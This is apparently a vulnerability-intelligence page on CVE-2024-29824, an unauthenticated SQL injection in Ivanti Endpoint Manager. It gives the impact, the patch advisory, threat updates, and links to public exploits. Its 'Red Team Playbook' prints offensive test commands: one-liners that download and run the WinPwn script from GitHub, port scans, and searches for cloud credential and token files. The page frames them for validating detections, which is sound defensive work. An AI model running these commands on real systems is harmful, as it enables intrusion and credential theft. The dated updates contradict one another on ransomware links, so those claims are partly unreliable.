CVE-2024-29824
Overview
This vulnerability is an SQL Injection flaw rooted in improper sanitization of input parameters within the Core server component of Ivanti Endpoint Manager (EPM). Specifically, the injection occurs in the handling of POST requests to the /WSStatusEvents/EventHandler.asmx endpoint, allowing crafted SQL commands to be executed directly on the backend database. The flaw affects Ivanti EPM 2022 SU5 and all prior versions, where the server fails to adequately validate or parameterize user-supplied data before database interaction.
Vulnerability Description
An unspecified SQL Injection vulnerability in Core server of Ivanti EPM 2022 SU5 and prior allows an unauthenticated attacker within the same network to execute arbitrary code.
Impact
An unauthenticated attacker within the same network can exploit this flaw to execute arbitrary operating system commands on the Ivanti EPM server, effectively gaining full control over the system. This enables data exfiltration, deployment of malware, and lateral movement within the network. No user interaction or valid credentials are required, increasing the risk of rapid compromise and persistent foothold in enterprise environments.
Solution
Ivanti has released a security advisory in May 2024 addressing this issue, recommending immediate upgrade to Ivanti Endpoint Manager 2022 SU6 or later. Detailed patch instructions and mitigation steps are available at https://forums.ivanti.com/s/article/Security-Advisory-May-2024. Organizations should apply the vendor-supplied updates promptly and follow any additional configuration guidance provided in the advisory to disable vulnerable endpoints if patching is delayed.
EPSS vs KEV Prediction — Evolution (30 days)
Ransomware Intelligence
Predictions
Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.
The groups below are predictions based on historical exploitation patterns of the same vendor/product. These are not confirmations.
Full Analysis
The SQL Injection vulnerability present in the Core server of Ivanti Endpoint Manager 2022 and earlier versions represents a significant security risk. This type of vulnerability allows an attacker to manipulate SQL queries by injecting arbitrary SQL code into input fields that are not properly sanitized. The flaw arises from the application’s failure to validate user inputs, which can lead to unauthorized access to the database. This can result in the execution of arbitrary code, potentially allowing attackers to gain control over the underlying server and access sensitive data.
Attack vectors for this vulnerability are particularly concerning due to the requirement for only local network access. An unauthenticated attacker within the same network can exploit this weakness, making it easier for malicious actors to launch attacks without needing to breach external defenses. For instance, an attacker could craft a malicious request that alters the SQL query executed by the server, enabling them to extract sensitive information, modify database contents, or even execute administrative commands. Scenarios may include using social engineering to gain access to the local network or leveraging compromised devices to facilitate the attack.
The real-world impact of this vulnerability can be severe, especially for organizations that rely on Ivanti Endpoint Manager for managing their IT infrastructure. Successful exploitation could lead to data breaches, loss of sensitive information, and disruption of services. Businesses could face significant financial repercussions, including regulatory fines, loss of customer trust, and costs associated with incident response and remediation. The potential for widespread damage is amplified in environments where sensitive data is processed, such as healthcare, finance, and government sectors.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regular security assessments, including vulnerability scanning and penetration testing, can help identify potential weaknesses in the application. Additionally, employing web application firewalls (WAFs) can provide an extra layer of defense by filtering out malicious traffic before it reaches the application. It is also essential to ensure that input validation and parameterized queries are utilized in the application’s code to prevent SQL injection attacks. Organizations should prioritize patch management to ensure that they are running the latest, most secure versions of the software, as updates often include critical security fixes.
In conclusion, the SQL Injection vulnerability in Ivanti Endpoint Manager poses a serious threat to organizations that utilize this software. The ability for an attacker to execute arbitrary code within the same network highlights the importance of robust security practices. By understanding the technical details, potential attack vectors, and real-world implications of this vulnerability, organizations can better prepare themselves to defend against such threats. Implementing effective detection and mitigation strategies will be crucial in safeguarding sensitive data and maintaining the integrity of their IT environments.
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2024-29824, reflecting a significant uptick in exploitation attempts within affected networks. This surge coincides with the recent addition of the vulnerability to the KEV catalog, which has likely increased attacker focus and facilitated the development and dissemination of multiple proof-of-concept exploits, including optimized variants and integration into widely used penetration testing frameworks. Although the EPSS score remains high and stable, the rapid increase in observed exploitation attempts underscores a growing adversary interest and operationalization of this vulnerability. For defenders, this evolving threat landscape elevates the urgency of monitoring network activity for indicators of compromise and reassessing exposure, as the potential for unauthenticated remote code execution within the same network amplifies the risk of lateral movement and broader system compromise. Consequently, the threat level associated with CVE-2024-29824 should be considered heightened, reflecting both increased attacker activity and the availability of accessible exploitation tools.
Update 2 — May 20, 2026
CSURFACE threat intelligence has identified a critical update in the risk profile of CVE-2024-29824, marked by an upward revision of its CVSS score from 8.8 to 9.6, reflecting a reassessment of the vulnerability’s exploitability and impact. This adjustment underscores a heightened potential for unauthenticated remote code execution within affected Ivanti EPM environments. Concurrently, our telemetry indicates a significant reduction in detection activity, which may suggest a temporary decline in widespread exploitation or a shift in attacker tactics toward more targeted operations. Notably, this vulnerability has now been linked to a ransomware group, introducing a new dimension of threat that elevates the risk of ransomware campaigns leveraging this exploit for initial access or lateral movement. Although the EPSS score remains high and stable, the addition of ransomware associations signals an increased likelihood of this vulnerability being weaponized in financially motivated attacks. The emergence of multiple proof-of-concept exploits and a Metasploit module further lowers the barrier for adversaries to operationalize this vulnerability. Collectively, these developments necessitate an elevated threat level classification, emphasizing the critical need for defenders to maintain vigilant network monitoring and reassess exposure, as the convergence of high exploitability, ransomware interest, and accessible exploitation tools significantly amplifies the operational risk posed by CVE-2024-29824.
Update 3 — June 10, 2026
Recent updates to CVE-2024-29824 reveal a downward revision of its CVSS score from 9.6 to 8.8, reflecting a refined understanding of the vulnerability’s exploitability and impact. This adjustment aligns with the KEV program’s recent inclusion of the vulnerability, which classifies it as a high-severity issue but not at the critical threshold initially estimated. Despite this recalibration, CSURFACE threat intelligence notes that the exploitability remains exceptionally high, as evidenced by the stable EPSS score near the maximum percentile and the availability of multiple proof-of-concept exploits, including an optimized GitHub variant and a Metasploit module. The ransomware landscape remains largely uninvolved, with no confirmed associations to known ransomware groups or campaigns, which slightly mitigates the immediate risk of financially motivated exploitation. However, the presence of unauthenticated remote code execution capabilities within the same network segment continues to pose a significant operational threat. For defenders, this nuanced shift underscores the importance of contextualizing CVSS scores alongside exploit availability and attacker interest rather than relying solely on numerical severity ratings. The overall threat level remains elevated due to the ease of exploitation and the broad exposure of affected Ivanti EPM deployments, necessitating sustained vigilance despite the modest score reduction.
Update 4 — June 20, 2026
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2024-29824, with telemetry indicating a sharp increase in exploit attempts within affected network segments. This surge coincides with the recent inclusion of the vulnerability in the KEV catalog, which has elevated its EPSS score to near certainty of exploitation. The emergence of new proof-of-concept exploits, including optimized variants and integration into widely used penetration testing frameworks, further lowers the barrier for adversaries to weaponize this flaw. Although no high-confidence ransomware associations have been identified, the ease of unauthenticated remote code execution in Ivanti EPM environments amplifies the operational risk, especially in internal network contexts. For defenders, this trend signals a heightened urgency to monitor for exploitation attempts and reassess exposure, as the threat landscape is becoming more active and accessible to a broader range of attackers. Consequently, the overall threat level for CVE-2024-29824 should be considered elevated, reflecting both increased attacker interest and the practical availability of exploitation tools.
Affected Products (7)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Ivanti | Endpoint Manager | All |
cpe:2.3:a:ivanti:endpoint_manager:*:*:*:*:*:*:*:*
|
|
|
Ivanti | Endpoint Manager | 2022 |
cpe:2.3:a:ivanti:endpoint_manager:2022:-:*:*:*:*:*:*
|
|
|
Ivanti | Endpoint Manager | 2022 |
cpe:2.3:a:ivanti:endpoint_manager:2022:su1:*:*:*:*:*:*
|
|
|
Ivanti | Endpoint Manager | 2022 |
cpe:2.3:a:ivanti:endpoint_manager:2022:su2:*:*:*:*:*:*
|
|
|
Ivanti | Endpoint Manager | 2022 |
cpe:2.3:a:ivanti:endpoint_manager:2022:su3:*:*:*:*:*:*
|
|
|
Ivanti | Endpoint Manager | 2022 |
cpe:2.3:a:ivanti:endpoint_manager:2022:su4:*:*:*:*:*:*
|
|
|
Ivanti | Endpoint Manager | 2022 |
cpe:2.3:a:ivanti:endpoint_manager:2022:su5:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
Ivanti EPM RecordGoodApp SQLi RCE
exploits/windows/http/ivanti_epm_recordgoodapp_sqli_rce
|
James Horseman, Christophe De La Fuente | Unknown | windows | View |
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
horizon3ai/CVE-2024-29824
Ivanti EPM SQL Injection Remote Code Execution Vulnerability
|
horizon3ai | 25 | 6 | 2024-06-12 | View |
|
R4be1/CVE-2024-29824
Ivanti EPM SQL Injection Remote Code Execution Vulnerability(Optimized version based on h3)
|
R4be1 | 1 | 1 | 2024-06-18 | View |
Threat Feed
16 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-29824 |
| forums.ivanti.com |
GitHub CVE
|
https://forums.ivanti.com/s/article/Security-Advisory-May-2024 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-29824 |